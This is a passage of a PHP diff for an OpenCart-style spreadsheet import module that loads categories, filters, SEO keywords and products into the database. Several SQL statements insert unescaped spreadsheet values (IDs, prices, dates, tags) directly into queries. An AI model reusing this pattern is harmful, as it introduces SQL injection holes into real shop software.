+ } else if (count($next_layout)==1) {
+ $next_layout = array( 0, $layout_part );
+ }
+ if ( (count($next_layout)==2) && (in_array((int)$next_layout[0],$available_store_ids)) && (is_string($next_layout[1])) ) {
+ $store_id = (int)$next_layout[0];
+ $layout_name = $next_layout[1];
+ if (isset($layout_ids[$layout_name])) {
+ $layout_id = (int)$layout_ids[$layout_name];
+ if (!isset($layouts[$store_id])) {
+ $layouts[$store_id] = $layout_id;
+ }
+ }
+ }
+ }
+ foreach ($layouts as $store_id => $layout_id) {
+ $sql = "INSERT INTO `".DB_PREFIX."category_to_layout` (`category_id`,`store_id`,`layout_id`) VALUES ($category_id,$store_id,$layout_id);";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteCategory( $category_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."category` WHERE `category_id` = '".(int)$category_id."' ;\n";
+ $sql .= "DELETE FROM `".DB_PREFIX."category_description` WHERE `category_id` = '".(int)$category_id."' ;\n";
+ $sql .= "DELETE FROM `".DB_PREFIX."category_to_store` WHERE `category_id` = '".(int)$category_id."' ;\n";
+ if (!$this->use_table_seo_url) {
+ $sql .= "DELETE FROM `".DB_PREFIX."url_alias` WHERE `query` LIKE 'category_id=".(int)$category_id."';\n";
+ }
+ $sql .= "DELETE FROM `".DB_PREFIX."category_to_layout` WHERE `category_id` = '".(int)$category_id."' ;\n";
+ $this->multiquery( $sql );
+ $sql = "SHOW TABLES LIKE \"".DB_PREFIX."category_path\"";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows) {
+ $sql = "DELETE FROM `".DB_PREFIX."category_path` WHERE `category_id` = '".(int)$category_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteCategories( &$url_alias_ids ) {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."category`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."category_description`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."category_to_store`;\n";
+ if (!$this->use_table_seo_url) {
+ $sql .= "DELETE FROM `".DB_PREFIX."url_alias` WHERE `query` LIKE 'category_id=%';\n";
+ }
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."category_to_layout`;\n";
+ $this->multiquery( $sql );
+ $sql = "SHOW TABLES LIKE \"".DB_PREFIX."category_path\"";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows) {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."category_path`";
+ $this->db->query( $sql );
+ }
+ if (!$this->use_table_seo_url) {
+ $sql = "SELECT (MAX(url_alias_id)+1) AS next_url_alias_id FROM `".DB_PREFIX."url_alias` LIMIT 1";
+ $query = $this->db->query( $sql );
+ $next_url_alias_id = $query->row['next_url_alias_id'];
+ $sql = "ALTER TABLE `".DB_PREFIX."url_alias` AUTO_INCREMENT = $next_url_alias_id";
+ $this->db->query( $sql );
+ $remove = array();
+ foreach ($url_alias_ids as $category_id=>$url_alias_id) {
+ if ($url_alias_id >= $next_url_alias_id) {
+ $remove[$category_id] = $url_alias_id;
+ }
+ }
+ foreach ($remove as $category_id=>$url_alias_id) {
+ unset($url_alias_ids[$category_id]);
+ }
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreCategoryCells( $i, &$j, &$worksheet, &$category ) {
+ return;
+ }
+
+
+ protected function uploadCategories( &$reader, $incremental, &$available_category_ids=array() ) {
+ // get worksheet if there
+ $data = $reader->getSheetByName( 'Categories' );
+ if ($data==null) {
+ return;
+ }
+
+ // Opencart versions from 2.0 onwards also have category_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."category_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ // get old url_alias_ids
+ if (!$this->use_table_seo_url) {
+ $url_alias_ids = $this->getCategoryUrlAliasIds();
+ }
+
+ // if incremental then find current category IDs else delete all old categories
+ $available_category_ids = array();
+ if ($incremental) {
+ $old_category_ids = $this->getAvailableCategoryIds();
+ } else {
+ $this->deleteCategories($url_alias_ids);
+ }
+
+ // get pre-defined layouts
+ $layout_ids = $this->getLayoutIds();
+
+ // get pre-defined store_ids
+ $available_store_ids = $this->getAvailableStoreIds();
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $category_id = trim($this->getCell($data,$i,$j++));
+ if ($category_id=="") {
+ continue;
+ }
+ $parent_id = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while ($this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $top = $this->getCell($data,$i,$j++,($parent_id=='0')?'true':'false');
+ $columns = $this->getCell($data,$i,$j++,($parent_id=='0')?'1':'0');
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $image_name = trim($this->getCell($data,$i,$j++));
+ $date_added = trim($this->getCell($data,$i,$j++));
+ $date_added = ((is_string($date_added)) && (strlen($date_added)>0)) ? $date_added : "NOW()";
+ $date_modified = trim($this->getCell($data,$i,$j++));
+ $date_modified = ((is_string($date_modified)) && (strlen($date_modified)>0)) ? $date_modified : "NOW()";
+ if (!$this->use_table_seo_url) {
+ $seo_keyword = $this->getCell($data,$i,$j++);
+ }
+ $descriptions = array();
+ while ($this->startsWith($first_row[$j-1],"description(")) {
+ $language_code = substr($first_row[$j-1],strlen("description("),strlen($first_row[$j-1])-strlen("description(")-1);
+ $description = $this->getCell($data,$i,$j++);
+ $description = htmlspecialchars( $description );
+ $descriptions[$language_code] = $description;
+ }
+ if ($exist_meta_title) {
+ $meta_titles = array();
+ while ($this->startsWith($first_row[$j-1],"meta_title(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_title("),strlen($first_row[$j-1])-strlen("meta_title(")-1);
+ $meta_title = $this->getCell($data,$i,$j++);
+ $meta_title = htmlspecialchars( $meta_title );
+ $meta_titles[$language_code] = $meta_title;
+ }
+ }
+ $meta_descriptions = array();
+ while ($this->startsWith($first_row[$j-1],"meta_description(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_description("),strlen($first_row[$j-1])-strlen("meta_description(")-1);
+ $meta_description = $this->getCell($data,$i,$j++);
+ $meta_description = htmlspecialchars( $meta_description );
+ $meta_descriptions[$language_code] = $meta_description;
+ }
+ $meta_keywords = array();
+ while ($this->startsWith($first_row[$j-1],"meta_keywords(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_keywords("),strlen($first_row[$j-1])-strlen("meta_keywords(")-1);
+ $meta_keyword = $this->getCell($data,$i,$j++);
+ $meta_keyword = htmlspecialchars( $meta_keyword );
+ $meta_keywords[$language_code] = $meta_keyword;
+ }
+ $store_ids = $this->getCell($data,$i,$j++);
+ $layout = $this->getCell($data,$i,$j++,'');
+ $status = $this->getCell($data,$i,$j++,'true');
+ $category = array();
+ $category['category_id'] = $category_id;
+ $category['image'] = $image_name;
+ $category['parent_id'] = $parent_id;
+ $category['sort_order'] = $sort_order;
+ $category['date_added'] = $date_added;
+ $category['date_modified'] = $date_modified;
+ $category['names'] = $names;
+ $category['top'] = $top;
+ $category['columns'] = $columns;
+ $category['descriptions'] = $descriptions;
+ if ($exist_meta_title) {
+ $category['meta_titles'] = $meta_titles;
+ }
+ $category['meta_descriptions'] = $meta_descriptions;
+ $category['meta_keywords'] = $meta_keywords;
+ if (!$this->use_table_seo_url) {
+ $category['seo_keyword'] = $seo_keyword;
+ }
+ $store_ids = trim( $this->clean($store_ids, false) );
+ $category['store_ids'] = ($store_ids=="") ? array() : explode( ",", $store_ids );
+ if ($category['store_ids']===false) {
+ $category['store_ids'] = array();
+ }
+ $category['layout'] = ($layout=="") ? array() : explode( ",", $layout );
+ if ($category['layout']===false) {
+ $category['layout'] = array();
+ }
+ $category['status'] = $status;
+ if ($incremental) {
+ if ($old_category_ids) {
+ if (in_array((int)$category_id,$old_category_ids)) {
+ $this->deleteCategory( $category_id );
+ }
+ }
+ }
+ $available_category_ids[$category_id] = $category_id;
+ $this->moreCategoryCells( $i, $j, $data, $category );
+ $this->storeCategoryIntoDatabase( $category, $languages, $exist_meta_title, $layout_ids, $available_store_ids, $url_alias_ids );
+ }
+
+ // restore category paths for faster lookups on the frontend (only for newer OpenCart versions)
+ $this->load->model( 'catalog/category' );
+ if (is_callable(array($this->model_catalog_category,'repairCategories'))) {
+ $this->model_catalog_category->repairCategories(0);
+ }
+ }
+
+
+ protected function storeCategoryFilterIntoDatabase( &$category_filter, &$languages ) {
+ $category_id = $category_filter['category_id'];
+ $filter_id = $category_filter['filter_id'];
+ $sql = "INSERT INTO `".DB_PREFIX."category_filter` (`category_id`, `filter_id`) VALUES ";
+ $sql .= "( $category_id, $filter_id );";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteCategoryFilters() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."category_filter`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteCategoryFilter( $category_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."category_filter` WHERE category_id='".(int)$category_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteUnlistedCategoryFilters( &$unlisted_category_ids ) {
+ foreach ($unlisted_category_ids as $category_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."category_filter` WHERE category_id='".(int)$category_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreCategoryFilterCells( $i, &$j, &$worksheet, &$category_filter ) {
+ return;
+ }
+
+
+ protected function uploadCategoryFilters( &$reader, $incremental, &$available_category_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'CategoryFilters' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current category IDs else delete all old category filters
+ if ($incremental) {
+ $unlisted_category_ids = $available_category_ids;
+ } else {
+ $this->deleteCategoryFilters();
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_ids = $this->getFilterGroupIds();
+ }
+ if (!$this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_ids = $this->getFilterIds();
+ }
+
+ // load the worksheet cells and store them to the database
+ $languages = $this->getLanguages();
+ $previous_category_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $category_id = trim($this->getCell($data,$i,$j++));
+ if ($category_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $filter_group_name = $this->getCell($data,$i,$j++);
+ $filter_group_id = isset($filter_group_ids[$filter_group_name]) ? $filter_group_ids[$filter_group_name] : '';
+ }
+ if ($filter_group_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $filter_name = $this->getCell($data,$i,$j++);
+ $filter_id = isset($filter_ids[$filter_group_id][$filter_name]) ? $filter_ids[$filter_group_id][$filter_name] : '';
+ }
+ if ($filter_id=='') {
+ continue;
+ }
+ $category_filter = array();
+ $category_filter['category_id'] = $category_id;
+ $category_filter['filter_group_id'] = $filter_group_id;
+ $category_filter['filter_id'] = $filter_id;
+ if (($incremental) && ($category_id != $previous_category_id)) {
+ $this->deleteCategoryFilter( $category_id );
+ if (isset($unlisted_category_ids[$category_id])) {
+ unset($unlisted_category_ids[$category_id]);
+ }
+ }
+ $this->moreCategoryFilterCells( $i, $j, $data, $category_filter );
+ $this->storeCategoryFilterIntoDatabase( $category_filter, $languages );
+ $previous_category_id = $category_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedCategoryFilters( $unlisted_category_ids );
+ }
+ }
+
+
+ protected function storeCategorySEOKeywordIntoDatabase( &$category_seo_keyword, &$languages, $old_seo_url_ids ) {
+ $category_id = $category_seo_keyword['category_id'];
+ $store_id = $category_seo_keyword['store_id'];
+ $keywords = $category_seo_keyword['keywords'];
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ if (isset($keywords[$language_code])) {
+ $keyword = $keywords[$language_code];
+ if ($keyword != '') {
+ if (isset($old_seo_url_ids[$category_id][$store_id][$language_id])) {
+ $seo_url_id = $old_seo_url_ids[$category_id][$store_id][$language_id];
+ $sql = "INSERT INTO `".DB_PREFIX."seo_url` (`seo_url_id`, `store_id`, `language_id`, `query`, `keyword`) VALUES ";
+ $sql .= "($seo_url_id, $store_id, $language_id, 'category_id=$category_id', '".$this->db->escape($keyword)."');";
+ $this->db->query( $sql );
+ unset($old_seo_url_ids[$category_id][$store_id][$language_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."seo_url` (`store_id`, `language_id`, `query`, `keyword`) VALUES ";
+ $sql .= "($store_id, $language_id, 'category_id=$category_id', '".$this->db->escape($keyword)."');";
+ $this->db->query( $sql );
+ }
+ }
+ }
+ }
+ }
+
+
+ protected function deleteCategorySEOKeywords() {
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query LIKE 'category_id=%';";
+ $this->db->query( $sql );
+ $sql = "SELECT MAX(seo_url_id) AS max_seo_url_id FROM `".DB_PREFIX."seo_url`";
+ $query = $this->db->query( $sql );
+ $max_seo_url_id = isset( $query->row['max_seo_url_id'] ) ? $query->row['max_seo_url_id'] : 0;
+ $auto_increment = $max_seo_url_id + 1;
+ $sql = "ALTER TABLE `".DB_PREFIX."seo_url` AUTO_INCREMENT = $auto_increment;";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteCategorySEOKeyword( $category_id ) {
+ $old_seo_url_ids = array();
+ $sql = "SELECT * FROM `".DB_PREFIX."seo_url` WHERE query='category_id=".(int)$category_id."';";
+ $query = $this->db->query( $sql );
+ foreach ($query->rows as $row) {
+ $seo_url_id = $row['seo_url_id'];
+ $store_id = $row['store_id'];
+ $category_id = (int)substr($row['query'],strlen('category_id='));
+ $language_id = $row['language_id'];
+ $old_seo_url_ids[$category_id][$store_id][$language_id] = $seo_url_id;
+ }
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query='category_id=".(int)$category_id."';";
+ $this->db->query( $sql );
+ return $old_seo_url_ids;
+ }
+
+
+ protected function deleteUnlistedCategorySEOKeywords( &$unlisted_category_ids ) {
+ foreach ($unlisted_category_ids as $category_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query='category_id=".(int)$category_id."';";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreCategorySEOKeywordCells( $i, &$j, &$worksheet, &$category_seo_keyword ) {
+ return;
+ }
+
+
+ protected function uploadCategorySEOKeywords( &$reader, $incremental, &$available_category_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'CategorySEOKeywords' );
+ if ($data==null) {
+ return;
+ }
+
+ // if DB table 'seo_url' doesn't exist (OpenCart 1.5.x, 2.x versions) then return immediately
+ if (!$this->use_table_seo_url) {
+ return;
+ }
+
+ // if incremental then find current category IDs else delete all old category SEO keywords
+ if ($incremental) {
+ $unlisted_category_ids = $available_category_ids;
+ } else {
+ $this->deleteCategorySEOKeywords();
+ }
+
+ // load the worksheet cells and store them to the database
+ $old_seo_url_ids = array();
+ $languages = $this->getLanguages();
+ $previous_category_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $category_id = trim($this->getCell($data,$i,$j++));
+ if ($category_id=='') {
+ continue;
+ }
+ $store_id = trim($this->getCell($data,$i,$j++));
+ if ($store_id=='') {
+ continue;
+ }
+ $keywords = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"keyword(")) {
+ $language_code = substr($first_row[$j-1],strlen("keyword("),strlen($first_row[$j-1])-strlen("keyword(")-1);
+ $keyword = trim($this->getCell($data,$i,$j++,''));
+ $keyword = htmlspecialchars( $keyword );
+ $keywords[$language_code] = $keyword;
+ }
+ $category_seo_keyword = array();
+ $category_seo_keyword['category_id'] = $category_id;
+ $category_seo_keyword['store_id'] = $store_id;
+ $category_seo_keyword['keywords'] = $keywords;
+ if (($incremental) && ($category_id != $previous_category_id)) {
+ $old_seo_url_ids = $this->deleteCategorySEOKeyword( $category_id );
+ if (isset($unlisted_category_ids[$category_id])) {
+ unset($unlisted_category_ids[$category_id]);
+ }
+ }
+ $this->moreCategorySEOKeywordCells( $i, $j, $data, $category_seo_keyword );
+ $this->storeCategorySEOKeywordIntoDatabase( $category_seo_keyword, $languages, $old_seo_url_ids );
+ $previous_category_id = $category_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedCategorySEOKeywords( $unlisted_category_ids );
+ }
+ }
+
+
+ protected function getProductViewCounts() {
+ $query = $this->db->query( "SELECT product_id, viewed FROM `".DB_PREFIX."product`" );
+ $view_counts = array();
+ foreach ($query->rows as $row) {
+ $product_id = $row['product_id'];
+ $viewed = $row['viewed'];
+ $view_counts[$product_id] = $viewed;
+ }
+ return $view_counts;
+ }
+
+
+ protected function getProductUrlAliasIds() {
+ $sql = "SELECT url_alias_id, SUBSTRING( query, CHAR_LENGTH('product_id=')+1 ) AS product_id ";
+ $sql .= "FROM `".DB_PREFIX."url_alias` ";
+ $sql .= "WHERE query LIKE 'product_id=%'";
+ $query = $this->db->query( $sql );
+ $url_alias_ids = array();
+ foreach ($query->rows as $row) {
+ $url_alias_id = $row['url_alias_id'];
+ $product_id = $row['product_id'];
+ $url_alias_ids[$product_id] = $url_alias_id;
+ }
+ return $url_alias_ids;
+ }
+
+
+ protected function storeProductIntoDatabase( &$product, &$languages, &$product_fields, $exist_table_product_tag, $exist_meta_title, &$layout_ids, &$available_store_ids, &$manufacturers, &$weight_class_ids, &$length_class_ids, &$url_alias_ids ) {
+ // extract the product details
+ $product_id = $product['product_id'];
+ $names = $product['names'];
+ $categories = $product['categories'];
+ $quantity = $product['quantity'];
+ $model = $this->db->escape($product['model']);
+ $manufacturer_name = $product['manufacturer_name'];
+ $image = $this->db->escape($product['image']);
+ $shipping = $product['shipping'];
+ $shipping = ((strtoupper($shipping)=="YES") || (strtoupper($shipping)=="Y") || (strtoupper($shipping)=="TRUE")) ? 1 : 0;
+ $price = trim($product['price']);
+ $price_2 = trim($product['price_2']);
+ $price_3 = trim($product['price_3']);
+ $points = $product['points'];
+ $date_added = $product['date_added'];
+ $date_modified = $product['date_modified'];
+ $date_available = $product['date_available'];
+ $weight = ($product['weight']=="") ? 0 : $product['weight'];
+ $weight_unit = $product['weight_unit'];
+ $weight_class_id = (isset($weight_class_ids[$weight_unit])) ? $weight_class_ids[$weight_unit] : 0;
+ $status = $product['status'];
+ $status = ((strtoupper($status)=="TRUE") || (strtoupper($status)=="YES") || (strtoupper($status)=="ENABLED")) ? 1 : 0;
+ $tax_class_id = $product['tax_class_id'];
+ $viewed = $product['viewed'];
+ $descriptions = $product['descriptions'];
+ $stock_status_id = $product['stock_status_id'];
+ if ($exist_meta_title) {
+ $meta_titles = $product['meta_titles'];
+ }
+ $meta_descriptions = $product['meta_descriptions'];
+ $length = $product['length'];
+ $width = $product['width'];
+ $height = $product['height'];
+ if (!$this->use_table_seo_url) {
+ $keyword = $this->db->escape($product['seo_keyword']);
+ }
+ $length_unit = $product['measurement_unit'];
+ $length_class_id = (isset($length_class_ids[$length_unit])) ? $length_class_ids[$length_unit] : 0;
+ $sku = $this->db->escape($product['sku']);
+ $upc = $this->db->escape($product['upc']);
+ if (in_array('ean',$product_fields)) {
+ $ean = $this->db->escape($product['ean']);
+ }
+ if (in_array('jan',$product_fields)) {
+ $jan = $this->db->escape($product['jan']);
+ }
+ if (in_array('isbn',$product_fields)) {
+ $isbn = $this->db->escape($product['isbn']);
+ }
+ if (in_array('mpn',$product_fields)) {
+ $mpn = $this->db->escape($product['mpn']);
+ }
+ $location = $this->db->escape($product['location']);
+ $store_ids = $product['store_ids'];
+ $layout = $product['layout'];
+ $related_ids = $product['related_ids'];
+ $subtract = $product['subtract'];
+ $subtract = ((strtoupper($subtract)=="TRUE") || (strtoupper($subtract)=="YES") || (strtoupper($subtract)=="ENABLED")) ? 1 : 0;
+ $minimum = $product['minimum'];
+ $meta_keywords = $product['meta_keywords'];
+ $tags = $product['tags'];
+ $sort_order = $product['sort_order'];
+ if ($manufacturer_name) {
+ $this->storeManufacturerIntoDatabase( $manufacturers, $manufacturer_name, $store_ids, $available_store_ids );
+ $manufacturer_id = $manufacturers[$manufacturer_name]['manufacturer_id'];
+ } else {
+ $manufacturer_id = 0;
+ }
+
+ // generate and execute SQL for inserting the product
+ $sql = "INSERT INTO `".DB_PREFIX."product` (`product_id`,`quantity`,`sku`,`upc`,";
+ $sql .= in_array('ean',$product_fields) ? "`ean`," : "";
+ $sql .= in_array('jan',$product_fields) ? "`jan`," : "";
+ $sql .= in_array('isbn',$product_fields) ? "`isbn`," : "";
+ $sql .= in_array('mpn',$product_fields) ? "`mpn`," : "";
+ $sql .= "`location`,`stock_status_id`,`model`,`manufacturer_id`,`image`,`shipping`,`price`,`price_2`,`price_3`,`points`,`date_added`,`date_modified`,`date_available`,`weight`,`weight_class_id`,`status`,";
+ $sql .= "`tax_class_id`,`viewed`,`length`,`width`,`height`,`length_class_id`,`sort_order`,`subtract`,`minimum`) VALUES ";
+ $sql .= "($product_id,$quantity,'$sku','$upc',";
+ $sql .= in_array('ean',$product_fields) ? "'$ean'," : "";
+ $sql .= in_array('jan',$product_fields) ? "'$jan'," : "";
+ $sql .= in_array('isbn',$product_fields) ? "'$isbn'," : "";
+ $sql .= in_array('mpn',$product_fields) ? "'$mpn'," : "";
+ $sql .= "'$location',$stock_status_id,'$model',$manufacturer_id,'$image',$shipping,$price,$price_2,$price_3,$points,";
+ $sql .= ($date_added=='NOW()') ? "$date_added," : "'$date_added',";
+ $sql .= ($date_modified=='NOW()') ? "$date_modified," : "'$date_modified',";
+ $sql .= ($date_available=='NOW()') ? "$date_available," : "'$date_available',";
+ $sql .= "$weight,$weight_class_id,$status,";
+ $sql .= "$tax_class_id,$viewed,$length,$width,$height,'$length_class_id','$sort_order','$subtract','$minimum');";
+ $this->db->query($sql);
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $description = isset($descriptions[$language_code]) ? $this->db->escape($descriptions[$language_code]) : '';
+ if ($exist_meta_title) {
+ $meta_title = isset($meta_titles[$language_code]) ? $this->db->escape($meta_titles[$language_code]) : '';
+ }
+ $meta_description = isset($meta_descriptions[$language_code]) ? $this->db->escape($meta_descriptions[$language_code]) : '';
+ $meta_keyword = isset($meta_keywords[$language_code]) ? $this->db->escape($meta_keywords[$language_code]) : '';
+ $tag = isset($tags[$language_code]) ? $this->db->escape($tags[$language_code]) : '';
+ if ($exist_table_product_tag) {
+ if ($exist_meta_title) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_description` (`product_id`, `language_id`, `name`, `description`, `meta_title`, `meta_description`, `meta_keyword`) VALUES ";
+ $sql .= "( $product_id, $language_id, '$name', '$description', '$meta_title', '$meta_description', '$meta_keyword' );";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_description` (`product_id`, `language_id`, `name`, `description`, `meta_description`, `meta_keyword`) VALUES ";
+ $sql .= "( $product_id, $language_id, '$name', '$description', '$meta_description', '$meta_keyword' );";
+ }
+ $this->db->query( $sql );
+ $tag = trim($tag);
+ if ($tag) {
+ $tag_elements = explode(',',$tag);
+ foreach ($tag_elements as $tag_element) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_tag` (`product_id`,`language_id`,`tag`) VALUES ";
+ $sql .= "($product_id, $language_id, '$tag_element')";
+ $this->db->query($sql);
+ }
+ }
+ } else {
+ if ($exist_meta_title) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_description` (`product_id`, `language_id`, `name`, `description`, `meta_title`, `meta_description`, `meta_keyword`, `tag`) VALUES ";
+ $sql .= "( $product_id, $language_id, '$name', '$description', '$meta_title', '$meta_description', '$meta_keyword', '$tag' );";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_description` (`product_id`, `language_id`, `name`, `description`, `meta_description`, `meta_keyword`, `tag`) VALUES ";
+ $sql .= "( $product_id, $language_id, '$name', '$description', '$meta_description', '$meta_keyword', '$tag' );";
+ }
+ $this->db->query( $sql );
+ }
+ }
+ if (count($categories) > 0) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_to_category` (`product_id`,`category_id`) VALUES ";
+ $first = true;
+ foreach ($categories as $category_id) {
+ $sql .= ($first) ? "\n" : ",\n";
+ $first = false;
+ $sql .= "($product_id,$category_id)";
+ }
+ $sql .= ";";
+ $this->db->query($sql);
+ }
+ if (!$this->use_table_seo_url) {
+ if ($keyword) {
+ if (isset($url_alias_ids[$product_id])) {
+ $url_alias_id = $url_alias_ids[$product_id];
+ $sql = "INSERT INTO `".DB_PREFIX."url_alias` (`url_alias_id`,`query`,`keyword`) VALUES ($url_alias_id,'product_id=$product_id','$keyword');";
+ unset($url_alias_ids[$product_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."url_alias` (`query`,`keyword`) VALUES ('product_id=$product_id','$keyword');";
+ }
+ $this->db->query($sql);
+ }
+ }
+ foreach ($store_ids as $store_id) {
+ if (in_array((int)$store_id,$available_store_ids)) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_to_store` (`product_id`,`store_id`) VALUES ($product_id,$store_id);";
+ $this->db->query($sql);
+ }
+ }
+ $layouts = array();
+ foreach ($layout as $layout_part) {
+ $next_layout = explode(':',$layout_part);
+ if ($next_layout===false) {
+ $next_layout = array( 0, $layout_part );
+ } else if (count($next_layout)==1) {
+ $next_layout = array( 0, $layout_part );
+ }
+ if ( (count($next_layout)==2) && (in_array((int)$next_layout[0],$available_store_ids)) && (is_string($next_layout[1])) ) {
+ $store_id = (int)$next_layout[0];
+ $layout_name = $next_layout[1];
+ if (isset($layout_ids[$layout_name])) {
+ $layout_id = (int)$layout_ids[$layout_name];
+ if (!isset($layouts[$store_id])) {
+ $layouts[$store_id] = $layout_id;
+ }
+ }
+ }
+ }
+ foreach ($layouts as $store_id => $layout_id) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_to_layout` (`product_id`,`store_id`,`layout_id`) VALUES ($product_id,$store_id,$layout_id);";
+ $this->db->query($sql);
+ }
+ if (count($related_ids) > 0) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_related` (`product_id`,`related_id`) VALUES ";
+ $first = true;
+ foreach ($related_ids as $related_id) {
+ $sql .= ($first) ? "\n" : ",\n";
+ $first = false;
+ $sql .= "($product_id,$related_id)";
+ }
+ $sql .= ";";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteProducts( $exist_table_product_tag, &$url_alias_ids ) {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_description`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_to_category`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_to_store`;\n";
+ if (!$this->use_table_seo_url) {
+ $sql .= "DELETE FROM `".DB_PREFIX."url_alias` WHERE `query` LIKE 'product_id=%';\n";
+ }
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_related`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_to_layout`;\n";
+ if ($exist_table_product_tag) {
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."product_tag`;\n";
+ }
+ $this->multiquery( $sql );
+ if (!$this->use_table_seo_url) {
+ $sql = "SELECT (MAX(url_alias_id)+1) AS next_url_alias_id FROM `".DB_PREFIX."url_alias` LIMIT 1";
+ $query = $this->db->query( $sql );
+ $next_url_alias_id = $query->row['next_url_alias_id'];
+ $sql = "ALTER TABLE `".DB_PREFIX."url_alias` AUTO_INCREMENT = $next_url_alias_id";
+ $this->db->query( $sql );
+ $remove = array();
+ foreach ($url_alias_ids as $product_id=>$url_alias_id) {
+ if ($url_alias_id >= $next_url_alias_id) {
+ $remove[$product_id] = $url_alias_id;
+ }
+ }
+ foreach ($remove as $product_id=>$url_alias_id) {
+ unset($url_alias_ids[$product_id]);
+ }
+ }
+ }
+
+
+ protected function deleteProduct( $product_id, $exist_table_product_tag ) {
+ $sql = "DELETE FROM `".DB_PREFIX."product` WHERE `product_id` = '$product_id';\n";
